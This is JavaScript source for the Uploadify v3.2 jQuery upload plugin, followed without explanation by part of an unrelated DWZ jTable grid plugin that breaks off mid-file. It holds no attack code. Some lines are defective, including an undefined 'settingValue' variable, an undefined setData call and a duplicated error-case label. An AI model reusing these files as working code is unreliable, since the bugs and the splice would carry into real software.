Uploadify v3.2
Copyright (c) 2012 Reactive Apps, Ronnie Garcia
Released under the MIT License <http://www.opensource.org/licenses/mit-license.php>
*/
(function($) {
// These methods can be called by adding them as the first argument in the uploadify plugin call
var methods = {
init : function(options, swfUploadOptions) {
return this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this);
// Clone the original DOM object
var $clone = $this.clone();
// Setup the default options
var settings = $.extend({
// Required Settings
id : $this.attr('id'), // The ID of the DOM object
swf : 'uploadify.swf', // The path to the uploadify SWF file
uploader : 'uploadify.php', // The path to the server-side upload script
// Options
auto : true, // Automatically upload files when added to the queue
buttonClass : '', // A class name to add to the browse button DOM object
buttonCursor : 'hand', // The cursor to use with the browse button
buttonImage : null, // (String or null) The path to an image to use for the Flash browse button if not using CSS to style the button
buttonText : 'SELECT FILES', // The text to use for the browse button
checkExisting : false, // The path to a server-side script that checks for existing files on the server
debug : false, // Turn on swfUpload debugging mode
fileObjName : 'Filedata', // The name of the file object to use in your server-side script
fileSizeLimit : 0, // The maximum size of an uploadable file in KB (Accepts units B KB MB GB if string, 0 for no limit)
fileTypeDesc : 'All Files', // The description for file types in the browse dialog
fileTypeExts : '*.*', // Allowed extensions in the browse dialog (server-side validation should also be used)
height : 30, // The height of the browse button
itemTemplate : false, // The template for the file item in the queue
method : 'post', // The method to use when sending files to the server-side upload script
multi : true, // Allow multiple file selection in the browse dialog
formData : {}, // An object with additional data to send to the server-side upload script with every file upload
preventCaching : true, // Adds a random value to the Flash URL to prevent caching of it (conflicts with existing parameters)
progressData : 'percentage', // ('percentage' or 'speed') Data to show in the queue item during a file upload
queueID : false, // The ID of the DOM object to use as a file queue (without the #)
queueSizeLimit : 999, // The maximum number of files that can be in the queue at one time
removeCompleted : true, // Remove queue items from the queue when they are done uploading
removeTimeout : 3, // The delay in seconds before removing a queue item if removeCompleted is set to true
requeueErrors : false, // Keep errored files in the queue and keep trying to upload them
successTimeout : 30, // The number of seconds to wait for Flash to detect the server's response after the file has finished uploading
uploadLimit : 0, // The maximum number of files you can upload
width : 120, // The width of the browse button
// Events
overrideEvents : [] // (Array) A list of default event handlers to skip
/*
onCancel // Triggered when a file is cancelled from the queue
onClearQueue // Triggered during the 'clear queue' method
onDestroy // Triggered when the uploadify object is destroyed
onDialogClose // Triggered when the browse dialog is closed
onDialogOpen // Triggered when the browse dialog is opened
onDisable // Triggered when the browse button gets disabled
onEnable // Triggered when the browse button gets enabled
onFallback // Triggered is Flash is not detected
onInit // Triggered when Uploadify is initialized
onQueueComplete // Triggered when all files in the queue have been uploaded
onSelectError // Triggered when an error occurs while selecting a file (file size, queue size limit, etc.)
onSelect // Triggered for each file that is selected
onSWFReady // Triggered when the SWF button is loaded
onUploadComplete // Triggered when a file upload completes (success or error)
onUploadError // Triggered when a file upload returns an error
onUploadSuccess // Triggered when a file is uploaded successfully
onUploadProgress // Triggered every time a file progress is updated
onUploadStart // Triggered immediately before a file upload starts
*/
}, options);
// Prepare settings for SWFUpload
var swfUploadSettings = {
assume_success_timeout : settings.successTimeout,
button_placeholder_id : settings.id,
button_width : settings.width,
button_height : settings.height,
button_text : null,
button_text_style : null,
button_text_top_padding : 0,
button_text_left_padding : 0,
button_action : (settings.multi ? SWFUpload.BUTTON_ACTION.SELECT_FILES : SWFUpload.BUTTON_ACTION.SELECT_FILE),
button_disabled : false,
button_cursor : (settings.buttonCursor == 'arrow' ? SWFUpload.CURSOR.ARROW : SWFUpload.CURSOR.HAND),
button_window_mode : SWFUpload.WINDOW_MODE.TRANSPARENT,
debug : settings.debug,
requeue_on_error : settings.requeueErrors,
file_post_name : settings.fileObjName,
file_size_limit : settings.fileSizeLimit,
file_types : settings.fileTypeExts,
file_types_description : settings.fileTypeDesc,
file_queue_limit : settings.queueSizeLimit,
file_upload_limit : settings.uploadLimit,
flash_url : settings.swf,
prevent_swf_caching : settings.preventCaching,
post_params : settings.formData,
upload_url : settings.uploader,
use_query_string : (settings.method == 'get'),
// Event Handlers
file_dialog_complete_handler : handlers.onDialogClose,
file_dialog_start_handler : handlers.onDialogOpen,
file_queued_handler : handlers.onSelect,
file_queue_error_handler : handlers.onSelectError,
swfupload_loaded_handler : settings.onSWFReady,
upload_complete_handler : handlers.onUploadComplete,
upload_error_handler : handlers.onUploadError,
upload_progress_handler : handlers.onUploadProgress,
upload_start_handler : handlers.onUploadStart,
upload_success_handler : handlers.onUploadSuccess
}
// Merge the user-defined options with the defaults
if (swfUploadOptions) {
swfUploadSettings = $.extend(swfUploadSettings, swfUploadOptions);
}
// Add the user-defined settings to the swfupload object
swfUploadSettings = $.extend(swfUploadSettings, settings);
// Detect if Flash is available
var playerVersion = swfobject.getFlashPlayerVersion();
var flashInstalled = (playerVersion.major >= 9);
if (flashInstalled) {
// Create the swfUpload instance
window['uploadify_' + settings.id] = new SWFUpload(swfUploadSettings);
var swfuploadify = window['uploadify_' + settings.id];
// Add the SWFUpload object to the elements data object
$this.data('uploadify', swfuploadify);
// Wrap the instance
var $wrapper = $('<div />', {
'id' : settings.id,
'class' : 'uploadify',
'css' : {
'height' : settings.height + 'px',
'width' : settings.width + 'px'
}
});
$('#' + swfuploadify.movieName).wrap($wrapper);
// Recreate the reference to wrapper
$wrapper = $('#' + settings.id);
// Add the data object to the wrapper
$wrapper.data('uploadify', swfuploadify);
// Create the button
var $button = $('<div />', {
'id' : settings.id + '-button',
'class' : 'uploadify-button ' + settings.buttonClass
});
if (settings.buttonImage) {
$button.css({
'background-image' : "url('" + settings.buttonImage + "')",
'text-indent' : '-9999px'
});
}
$button.html('<span class="uploadify-button-text">' + settings.buttonText + '</span>')
.css({
'height' : settings.height + 'px',
'line-height' : settings.height + 'px',
'width' : settings.width + 'px'
});
// Append the button to the wrapper
$wrapper.append($button);
// Adjust the styles of the movie
$('#' + swfuploadify.movieName).css({
'position' : 'absolute',
'z-index' : 1
});
// Create the file queue
if (!settings.queueID) {
var $queue = $('<div />', {
'id' : settings.id + '-queue',
'class' : 'uploadify-queue'
});
$wrapper.after($queue);
swfuploadify.settings.queueID = settings.id + '-queue';
swfuploadify.settings.defaultQueue = true;
}
// Create some queue related objects and variables
swfuploadify.queueData = {
files : {}, // The files in the queue
filesSelected : 0, // The number of files selected in the last select operation
filesQueued : 0, // The number of files added to the queue in the last select operation
filesReplaced : 0, // The number of files replaced in the last select operation
filesCancelled : 0, // The number of files that were cancelled instead of replaced
filesErrored : 0, // The number of files that caused error in the last select operation
uploadsSuccessful : 0, // The number of files that were successfully uploaded
uploadsErrored : 0, // The number of files that returned errors during upload
averageSpeed : 0, // The average speed of the uploads in KB
queueLength : 0, // The number of files in the queue
queueSize : 0, // The size in bytes of the entire queue
uploadSize : 0, // The size in bytes of the upload queue
queueBytesUploaded : 0, // The size in bytes that have been uploaded for the current upload queue
uploadQueue : [], // The files currently to be uploaded
errorMsg : 'Some files were not added to the queue:'
};
// Save references to all the objects
swfuploadify.original = $clone;
swfuploadify.wrapper = $wrapper;
swfuploadify.button = $button;
swfuploadify.queue = $queue;
// Call the user-defined init event handler
if (settings.onInit) settings.onInit.call($this, swfuploadify);
} else {
// Call the fallback function
if (settings.onFallback) settings.onFallback.call($this);
}
});
},
// Stop a file upload and remove it from the queue
cancel : function(fileID, supressEvent) {
var args = arguments;
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify'),
settings = swfuploadify.settings,
delay = -1;
if (args[0]) {
// Clear the queue
if (args[0] == '*') {
var queueItemCount = swfuploadify.queueData.queueLength;
$('#' + settings.queueID).find('.uploadify-queue-item').each(function() {
delay++;
if (args[1] === true) {
swfuploadify.cancelUpload($(this).attr('id'), false);
} else {
swfuploadify.cancelUpload($(this).attr('id'));
}
$(this).find('.data').removeClass('data').html(' - Cancelled');
$(this).find('.uploadify-progress-bar').remove();
$(this).delay(1000 + 100 * delay).fadeOut(500, function() {
$(this).remove();
});
});
swfuploadify.queueData.queueSize = 0;
swfuploadify.queueData.queueLength = 0;
// Trigger the onClearQueue event
if (settings.onClearQueue) settings.onClearQueue.call($this, queueItemCount);
} else {
for (var n = 0; n < args.length; n++) {
swfuploadify.cancelUpload(args[n]);
$('#' + args[n]).find('.data').removeClass('data').html(' - Cancelled');
$('#' + args[n]).find('.uploadify-progress-bar').remove();
$('#' + args[n]).delay(1000 + 100 * n).fadeOut(500, function() {
$(this).remove();
});
}
}
} else {
var item = $('#' + settings.queueID).find('.uploadify-queue-item').get(0);
$item = $(item);
swfuploadify.cancelUpload($item.attr('id'));
$item.find('.data').removeClass('data').html(' - Cancelled');
$item.find('.uploadify-progress-bar').remove();
$item.delay(1000).fadeOut(500, function() {
$(this).remove();
});
}
});
},
// Revert the DOM object back to its original state
destroy : function() {
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify'),
settings = swfuploadify.settings;
// Destroy the SWF object and
swfuploadify.destroy();
// Destroy the queue
if (settings.defaultQueue) {
$('#' + settings.queueID).remove();
}
// Reload the original DOM element
$('#' + settings.id).replaceWith(swfuploadify.original);
// Call the user-defined event handler
if (settings.onDestroy) settings.onDestroy.call(this);
delete swfuploadify;
});
},
// Disable the select button
disable : function(isDisabled) {
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify'),
settings = swfuploadify.settings;
// Call the user-defined event handlers
if (isDisabled) {
swfuploadify.button.addClass('disabled');
if (settings.onDisable) settings.onDisable.call(this);
} else {
swfuploadify.button.removeClass('disabled');
if (settings.onEnable) settings.onEnable.call(this);
}
// Enable/disable the browse button
swfuploadify.setButtonDisabled(isDisabled);
});
},
// Get or set the settings data
settings : function(name, value, resetObjects) {
var args = arguments;
var returnValue = value;
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify'),
settings = swfuploadify.settings;
if (typeof(args[0]) == 'object') {
for (var n in value) {
setData(n,value[n]);
}
}
if (args.length === 1) {
returnValue = settings[name];
} else {
switch (name) {
case 'uploader':
swfuploadify.setUploadURL(value);
break;
case 'formData':
if (!resetObjects) {
value = $.extend(settings.formData, value);
}
swfuploadify.setPostParams(settings.formData);
break;
case 'method':
if (value == 'get') {
swfuploadify.setUseQueryString(true);
} else {
swfuploadify.setUseQueryString(false);
}
break;
case 'fileObjName':
swfuploadify.setFilePostName(value);
break;
case 'fileTypeExts':
swfuploadify.setFileTypes(value, settings.fileTypeDesc);
break;
case 'fileTypeDesc':
swfuploadify.setFileTypes(settings.fileTypeExts, value);
break;
case 'fileSizeLimit':
swfuploadify.setFileSizeLimit(value);
break;
case 'uploadLimit':
swfuploadify.setFileUploadLimit(value);
break;
case 'queueSizeLimit':
swfuploadify.setFileQueueLimit(value);
break;
case 'buttonImage':
swfuploadify.button.css('background-image', settingValue);
break;
case 'buttonCursor':
if (value == 'arrow') {
swfuploadify.setButtonCursor(SWFUpload.CURSOR.ARROW);
} else {
swfuploadify.setButtonCursor(SWFUpload.CURSOR.HAND);
}
break;
case 'buttonText':
$('#' + settings.id + '-button').find('.uploadify-button-text').html(value);
break;
case 'width':
swfuploadify.setButtonDimensions(value, settings.height);
break;
case 'height':
swfuploadify.setButtonDimensions(settings.width, value);
break;
case 'multi':
if (value) {
swfuploadify.setButtonAction(SWFUpload.BUTTON_ACTION.SELECT_FILES);
} else {
swfuploadify.setButtonAction(SWFUpload.BUTTON_ACTION.SELECT_FILE);
}
break;
}
settings[name] = value;
}
});
if (args.length === 1) {
return returnValue;
}
},
// Stop the current uploads and requeue what is in progress
stop : function() {
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify');
// Reset the queue information
swfuploadify.queueData.averageSpeed = 0;
swfuploadify.queueData.uploadSize = 0;
swfuploadify.queueData.bytesUploaded = 0;
swfuploadify.queueData.uploadQueue = [];
swfuploadify.stopUpload();
});
},
// Start uploading files in the queue
upload : function() {
var args = arguments;
this.each(function() {
// Create a reference to the jQuery DOM object
var $this = $(this),
swfuploadify = $this.data('uploadify');
// Reset the queue information
swfuploadify.queueData.averageSpeed = 0;
swfuploadify.queueData.uploadSize = 0;
swfuploadify.queueData.bytesUploaded = 0;
swfuploadify.queueData.uploadQueue = [];
// Upload the files
if (args[0]) {
if (args[0] == '*') {
swfuploadify.queueData.uploadSize = swfuploadify.queueData.queueSize;
swfuploadify.queueData.uploadQueue.push('*');
swfuploadify.startUpload();
} else {
for (var n = 0; n < args.length; n++) {
swfuploadify.queueData.uploadSize += swfuploadify.queueData.files[args[n]].size;
swfuploadify.queueData.uploadQueue.push(args[n]);
}
swfuploadify.startUpload(swfuploadify.queueData.uploadQueue.shift());
}
} else {
swfuploadify.startUpload();
}
});
}
}
// These functions handle all the events that occur with the file uploader
var handlers = {
// Triggered when the file dialog is opened
onDialogOpen : function() {
// Load the swfupload settings
var settings = this.settings;
// Reset some queue info
this.queueData.errorMsg = 'Some files were not added to the queue:';
this.queueData.filesReplaced = 0;
this.queueData.filesCancelled = 0;
// Call the user-defined event handler
if (settings.onDialogOpen) settings.onDialogOpen.call(this);
},
// Triggered when the browse dialog is closed
onDialogClose : function(filesSelected, filesQueued, queueLength) {
// Load the swfupload settings
var settings = this.settings;
// Update the queue information
this.queueData.filesErrored = filesSelected - filesQueued;
this.queueData.filesSelected = filesSelected;
this.queueData.filesQueued = filesQueued - this.queueData.filesCancelled;
this.queueData.queueLength = queueLength;
// Run the default event handler
if ($.inArray('onDialogClose', settings.overrideEvents) < 0) {
if (this.queueData.filesErrored > 0) {
alert(this.queueData.errorMsg);
}
}
// Call the user-defined event handler
if (settings.onDialogClose) settings.onDialogClose.call(this, this.queueData);
// Upload the files if auto is true
if (settings.auto) $('#' + settings.id).uploadify('upload', '*');
},
// Triggered once for each file added to the queue
onSelect : function(file) {
// Load the swfupload settings
var settings = this.settings;
// Check if a file with the same name exists in the queue
var queuedFile = {};
for (var n in this.queueData.files) {
queuedFile = this.queueData.files[n];
if (queuedFile.uploaded != true && queuedFile.name == file.name) {
var replaceQueueItem = confirm('The file named "' + file.name + '" is already in the queue.\nDo you want to replace the existing item in the queue?');
if (!replaceQueueItem) {
this.cancelUpload(file.id);
this.queueData.filesCancelled++;
return false;
} else {
$('#' + queuedFile.id).remove();
this.cancelUpload(queuedFile.id);
this.queueData.filesReplaced++;
}
}
}
// Get the size of the file
var fileSize = Math.round(file.size / 1024);
var suffix = 'KB';
if (fileSize > 1000) {
fileSize = Math.round(fileSize / 1000);
suffix = 'MB';
}
var fileSizeParts = fileSize.toString().split('.');
fileSize = fileSizeParts[0];
if (fileSizeParts.length > 1) {
fileSize += '.' + fileSizeParts[1].substr(0,2);
}
fileSize += suffix;
// Truncate the filename if it's too long
var fileName = file.name;
if (fileName.length > 25) {
fileName = fileName.substr(0,25) + '...';
}
// Create the file data object
itemData = {
'fileID' : file.id,
'instanceID' : settings.id,
'fileName' : fileName,
'fileSize' : fileSize
}
// Create the file item template
if (settings.itemTemplate == false) {
settings.itemTemplate = '<div id="${fileID}" class="uploadify-queue-item">\
<div class="cancel">\
<a href="javascript:$(\'#${instanceID}\').uploadify(\'cancel\', \'${fileID}\')">X</a>\
</div>\
<span class="fileName">${fileName} (${fileSize})</span><span class="data"></span>\
<div class="uploadify-progress">\
<div class="uploadify-progress-bar"><!--Progress Bar--></div>\
</div>\
</div>';
}
// Run the default event handler
if ($.inArray('onSelect', settings.overrideEvents) < 0) {
// Replace the item data in the template
itemHTML = settings.itemTemplate;
for (var d in itemData) {
itemHTML = itemHTML.replace(new RegExp('\\$\\{' + d + '\\}', 'g'), itemData[d]);
}
// Add the file item to the queue
$('#' + settings.queueID).append(itemHTML);
}
this.queueData.queueSize += file.size;
this.queueData.files[file.id] = file;
// Call the user-defined event handler
if (settings.onSelect) settings.onSelect.apply(this, arguments);
},
// Triggered when a file is not added to the queue
onSelectError : function(file, errorCode, errorMsg) {
// Load the swfupload settings
var settings = this.settings;
// Run the default event handler
if ($.inArray('onSelectError', settings.overrideEvents) < 0) {
switch(errorCode) {
case SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED:
if (settings.queueSizeLimit > errorMsg) {
this.queueData.errorMsg += '\nThe number of files selected exceeds the remaining upload limit (' + errorMsg + ').';
} else {
this.queueData.errorMsg += '\nThe number of files selected exceeds the queue size limit (' + settings.queueSizeLimit + ').';
}
break;
case SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT:
this.queueData.errorMsg += '\nThe file "' + file.name + '" exceeds the size limit (' + settings.fileSizeLimit + ').';
break;
case SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE:
this.queueData.errorMsg += '\nThe file "' + file.name + '" is empty.';
break;
case SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT:
this.queueData.errorMsg += '\nThe file "' + file.name + '" is not an accepted file type (' + settings.fileTypeDesc + ').';
break;
}
}
if (errorCode != SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED) {
delete this.queueData.files[file.id];
}
// Call the user-defined event handler
if (settings.onSelectError) settings.onSelectError.apply(this, arguments);
},
// Triggered when all the files in the queue have been processed
onQueueComplete : function() {
if (this.settings.onQueueComplete) this.settings.onQueueComplete.call(this, this.settings.queueData);
},
// Triggered when a file upload successfully completes
onUploadComplete : function(file) {
// Load the swfupload settings
var settings = this.settings,
swfuploadify = this;
// Check if all the files have completed uploading
var stats = this.getStats();
this.queueData.queueLength = stats.files_queued;
if (this.queueData.uploadQueue[0] == '*') {
if (this.queueData.queueLength > 0) {
this.startUpload();
} else {
this.queueData.uploadQueue = [];
// Call the user-defined event handler for queue complete
if (settings.onQueueComplete) settings.onQueueComplete.call(this, this.queueData);
}
} else {
if (this.queueData.uploadQueue.length > 0) {
this.startUpload(this.queueData.uploadQueue.shift());
} else {
this.queueData.uploadQueue = [];
// Call the user-defined event handler for queue complete
if (settings.onQueueComplete) settings.onQueueComplete.call(this, this.queueData);
}
}
// Call the default event handler
if ($.inArray('onUploadComplete', settings.overrideEvents) < 0) {
if (settings.removeCompleted) {
switch (file.filestatus) {
case SWFUpload.FILE_STATUS.COMPLETE:
setTimeout(function() {
if ($('#' + file.id)) {
swfuploadify.queueData.queueSize -= file.size;
swfuploadify.queueData.queueLength -= 1;
delete swfuploadify.queueData.files[file.id]
$('#' + file.id).fadeOut(500, function() {
$(this).remove();
});
}
}, settings.removeTimeout * 1000);
break;
case SWFUpload.FILE_STATUS.ERROR:
if (!settings.requeueErrors) {
setTimeout(function() {
if ($('#' + file.id)) {
swfuploadify.queueData.queueSize -= file.size;
swfuploadify.queueData.queueLength -= 1;
delete swfuploadify.queueData.files[file.id];
$('#' + file.id).fadeOut(500, function() {
$(this).remove();
});
}
}, settings.removeTimeout * 1000);
}
break;
}
} else {
file.uploaded = true;
}
}
// Call the user-defined event handler
if (settings.onUploadComplete) settings.onUploadComplete.call(this, file);
},
// Triggered when a file upload returns an error
onUploadError : function(file, errorCode, errorMsg) {
// Load the swfupload settings
var settings = this.settings;
// Set the error string
var errorString = 'Error';
switch(errorCode) {
case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:
errorString = 'HTTP Error (' + errorMsg + ')';
break;
case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:
errorString = 'Missing Upload URL';
break;
case SWFUpload.UPLOAD_ERROR.IO_ERROR:
errorString = 'IO Error';
break;
case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:
errorString = 'Security Error';
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:
alert('The upload limit has been reached (' + errorMsg + ').');
errorString = 'Exceeds Upload Limit';
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:
errorString = 'Failed';
break;
case SWFUpload.UPLOAD_ERROR.SPECIFIED_FILE_ID_NOT_FOUND:
break;
case SWFUpload.UPLOAD_ERROR.FILE_VALIDATION_FAILED:
errorString = 'Validation Error';
break;
case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:
errorString = 'Cancelled';
this.queueData.queueSize -= file.size;
this.queueData.queueLength -= 1;
if (file.status == SWFUpload.FILE_STATUS.IN_PROGRESS || $.inArray(file.id, this.queueData.uploadQueue) >= 0) {
this.queueData.uploadSize -= file.size;
}
// Trigger the onCancel event
if (settings.onCancel) settings.onCancel.call(this, file);
delete this.queueData.files[file.id];
break;
case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:
errorString = 'Stopped';
break;
}
// Call the default event handler
if ($.inArray('onUploadError', settings.overrideEvents) < 0) {
if (errorCode != SWFUpload.UPLOAD_ERROR.FILE_CANCELLED && errorCode != SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED) {
$('#' + file.id).addClass('uploadify-error');
}
// Reset the progress bar
$('#' + file.id).find('.uploadify-progress-bar').css('width','1px');
// Add the error message to the queue item
if (errorCode != SWFUpload.UPLOAD_ERROR.SPECIFIED_FILE_ID_NOT_FOUND && file.status != SWFUpload.FILE_STATUS.COMPLETE) {
$('#' + file.id).find('.data').html(' - ' + errorString);
}
}
var stats = this.getStats();
this.queueData.uploadsErrored = stats.upload_errors;
// Call the user-defined event handler
if (settings.onUploadError) settings.onUploadError.call(this, file, errorCode, errorMsg, errorString);
},
// Triggered periodically during a file upload
onUploadProgress : function(file, fileBytesLoaded, fileTotalBytes) {
// Load the swfupload settings
var settings = this.settings;
// Setup all the variables
var timer = new Date();
var newTime = timer.getTime();
var lapsedTime = newTime - this.timer;
if (lapsedTime > 500) {
this.timer = newTime;
}
var lapsedBytes = fileBytesLoaded - this.bytesLoaded;
this.bytesLoaded = fileBytesLoaded;
var queueBytesLoaded = this.queueData.queueBytesUploaded + fileBytesLoaded;
var percentage = Math.round(fileBytesLoaded / fileTotalBytes * 100);
// Calculate the average speed
var suffix = 'KB/s';
var mbs = 0;
var kbs = (lapsedBytes / 1024) / (lapsedTime / 1000);
kbs = Math.floor(kbs * 10) / 10;
if (this.queueData.averageSpeed > 0) {
this.queueData.averageSpeed = Math.floor((this.queueData.averageSpeed + kbs) / 2);
} else {
this.queueData.averageSpeed = Math.floor(kbs);
}
if (kbs > 1000) {
mbs = (kbs * .001);
this.queueData.averageSpeed = Math.floor(mbs);
suffix = 'MB/s';
}
// Call the default event handler
if ($.inArray('onUploadProgress', settings.overrideEvents) < 0) {
if (settings.progressData == 'percentage') {
$('#' + file.id).find('.data').html(' - ' + percentage + '%');
} else if (settings.progressData == 'speed' && lapsedTime > 500) {
$('#' + file.id).find('.data').html(' - ' + this.queueData.averageSpeed + suffix);
}
$('#' + file.id).find('.uploadify-progress-bar').css('width', percentage + '%');
}
// Call the user-defined event handler
if (settings.onUploadProgress) settings.onUploadProgress.call(this, file, fileBytesLoaded, fileTotalBytes, queueBytesLoaded, this.queueData.uploadSize);
},
// Triggered right before a file is uploaded
onUploadStart : function(file) {
// Load the swfupload settings
var settings = this.settings;
var timer = new Date();
this.timer = timer.getTime();
this.bytesLoaded = 0;
if (this.queueData.uploadQueue.length == 0) {
this.queueData.uploadSize = file.size;
}
if (settings.checkExisting) {
$.ajax({
type : 'POST',
async : false,
url : settings.checkExisting,
data : {filename: file.name},
success : function(data) {
if (data == 1) {
var overwrite = confirm('A file with the name "' + file.name + '" already exists on the server.\nWould you like to replace the existing file?');
if (!overwrite) {
this.cancelUpload(file.id);
$('#' + file.id).remove();
if (this.queueData.uploadQueue.length > 0 && this.queueData.queueLength > 0) {
if (this.queueData.uploadQueue[0] == '*') {
this.startUpload();
} else {
this.startUpload(this.queueData.uploadQueue.shift());
}
}
}
}
}
});
}
// Call the user-defined event handler
if (settings.onUploadStart) settings.onUploadStart.call(this, file);
},
// Triggered when a file upload returns a successful code
onUploadSuccess : function(file, data, response) {
// Load the swfupload settings
var settings = this.settings;
var stats = this.getStats();
this.queueData.uploadsSuccessful = stats.successful_uploads;
this.queueData.queueBytesUploaded += file.size;
// Call the default event handler
if ($.inArray('onUploadSuccess', settings.overrideEvents) < 0) {
$('#' + file.id).find('.data').html(' - Complete');
}
// Call the user-defined event handler
if (settings.onUploadSuccess) settings.onUploadSuccess.call(this, file, data, response);
}
}
$.fn.uploadify = function(method) {
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else if (typeof method === 'object' || !method) {
return methods.init.apply(this, arguments);
} else {
$.error('The method ' + method + ' does not exist in $.uploadify');
}
}
})($);
|
JavaScript
|
/**
* @author Roger Wu v1.0
* @author ZhangHuihua@msn.com 2011-4-1
*/
(function($){
$.fn.jTable = function(options){
return this.each(function(){
var $table = $(this), nowrapTD = $table.attr("nowrapTD");
var tlength = $table.width();
var aStyles = [];
var $tc = $table.parent().addClass("j-resizeGrid"); // table parent container
var layoutH = $(this).attr("layoutH");
var oldThs = $table.find("thead>tr:last-child").find("th");
for(var i = 0, l = oldThs.size(); i < l; i++) {
var $th = $(oldThs[i]);
var style = [], width = $th.innerWidth() - (100 * $th.innerWidth() / tlength)-2;
style[0] = parseInt(width);
style[1] = $th.attr("align");
aStyles[aStyles.length] = style;
}
$(this).wrap("<div class='grid'></div>");
var $grid = $table.parent().html($table.html());
var thead = $grid.find("thead");
thead.wrap("<div class='gridHeader'><div class='gridThead'><table style='width:" + (tlength - 20) + "px;'></table></div></div>");
var lastH = $(">tr:last-child", thead);
var ths = $(">th", lastH);
$("th",thead).each(function(){
var $th = $(this);
$th.html("<div class='gridCol' title='"+$th.text()+"'>"+ $th.html() +"</div>");
});
ths.each(function(i){
var $th = $(this), style = aStyles[i];
$th.addClass(style[1]).hoverClass("hover").removeAttr("align").removeAttr("width").width(style[0]);
}).filter("[orderField]").orderBy({
targetType: $table.attr("targetType"),
rel:$table.attr("rel"),
asc: $table.attr("asc") || "asc",
desc: $table.attr("desc") || "desc"
});
var tbody = $grid.find(">tbody");
var layoutStr = layoutH ? " layoutH='" + layoutH + "'" : "";
tbody.wrap("<div class='gridScroller'" + layoutStr + " style='width:" + $tc.width() + "px;'><div class='gridTbody'><table style='width:" + (tlength - 20) + "px;'></table></div></div>");
var ftr = $(">tr:first-child", tbody);
var $trs = tbody.find('>tr');
$trs.hoverClass().each(function(){
var $tr = $(this);
var $ftds = $(">td", this);
for (var i=0; i < $ftds.size(); i++) {
var $ftd = $($ftds[i]);
if (nowrapTD != "false") $ftd.html("<div>" + $ftd.html() + "</div>");
if (i < aStyles.length) $ftd.addClass(aStyles[i][1]);
}
$tr.click(function(){
$trs.filter(".selected").removeClass("selected");
$tr.addClass("selected");
var sTarget = $tr.attr("target");
if (sTarget) {
if ($("#"+sTarget, $grid).size() == 0) {
$grid.prepend('<input id="'+sTarget+'" type="hidden" />');
}
$("#"+sTarget, $grid).val($tr.attr("rel"));
}
});
});
$(">td",ftr).each(function(i){
if (i < aStyles.length) $(this).width(aStyles[i][0]);
});
$grid.append("<div class='resizeMarker' style='height:300px; left:57px;display:none;'></div><div class='resizeProxy' style='height:300px; left:377px;display:none;'></div>");
var scroller = $(".gridScroller", $grid);
scroller.scroll(function(event){
var header = $(".gridThead", $grid);
if(scroller.scrollLeft() > 0){
header.css("position", "relative");
var scroll = scroller.scrollLeft();
header.css("left", scroller.cssv("left") - scroll);
}
if(scroller.scrollLeft() == 0) {
header.css("position", "relative");
header.css("left", "0px");
}
return false;
});
$(">tr", thead).each(function(){
$(">th", this).each(function(i){
var th = this, $th = $(this);
$th.mouseover(function(event){
var offset = $.jTableTool.getOffset(th, event).offsetX;
if($th.outerWidth() - offset < 5) {
$th.css("cursor", "col-resize").mousedown(function(event){
$(".resizeProxy", $grid).show().css({
left: $.jTableTool.getRight(th)- $(".gridScroller", $grid).scrollLeft(),
top:$.jTableTool.getTop(th),
height:$.jTableTool.getHeight(th,$grid),
cursor:"col-resize"
});
$(".resizeMarker", $grid).show().css({
left: $.jTableTool.getLeft(th) + 1 - $(".gridScroller", $grid).scrollLeft(),
top: $.jTableTool.getTop(th),
height:$.jTableTool.getHeight(th,$grid)
});
$(".resizeProxy", $grid).jDrag($.extend(options, {scop:true, cellMinW:20, relObj:$(".resizeMarker", $grid)[0],
move: "horizontal",
event:event,
stop: function(){
var pleft = $(".resizeProxy", $grid).position().left;
var mleft = $(".resizeMarker", $grid).position().left;
var move = pleft - mleft - $th.outerWidth() -9;
var cols = $.jTableTool.getColspan($th);
var cellNum = $.jTableTool.getCellNum($th);
var oldW = $th.width(), newW = $th.width() + move;
var $dcell = $(">td", ftr).eq(cellNum - 1);
$th.width(newW + "px");
$dcell.width(newW+"px");
var $table1 = $(thead).parent();
$table1.width(($table1.width() - oldW + newW)+"px");
var $table2 = $(tbody).parent();
$table2.width(($table2.width() - oldW + newW)+"px");
$(".resizeMarker,.resizeProxy", $grid).hide();
}
})
);
});
} else {
$th.css("cursor", $th.attr("orderField") ? "pointer" : "default");
$th.unbind("mousedown");
}
return false;
});
});
});
function _resizeGrid(){
$("div.j-resizeGrid").each(function(){
var width = $(this).innerWidth();
if (width){
$("div.gridScroller", this).width(width+"px");
}
});
}
$(window).unbind(DWZ.eventType.resizeGrid).bind("resizeGrid", _resizeGrid);
});
};
$.jTableTool = {
getLeft:function(obj) {
var width = 0;
$(obj).prevAll().each(function(){
width += $(this).outerWidth();
});
return width - 1;
},
getRight:function(obj) {
var width = 0;
$(obj).prevAll().andSelf().each(function(){
width += $(this).outerWidth();
});
return width - 1;
},
getTop:function(obj) {
var height = 0;
$(obj).parent().prevAll().each(function(){
height += $(this).outerHeight();
});
return height;
},
getHeight:function(obj, parent) {
var height = 0;
var head = $(obj).parent();
head.nextAll().andSelf().each(function(){
height += $(this).outerHeight();
});
$(".gridTbody", parent).children().each(function(){
height += $(this).outerHeight();
});
return height;
},
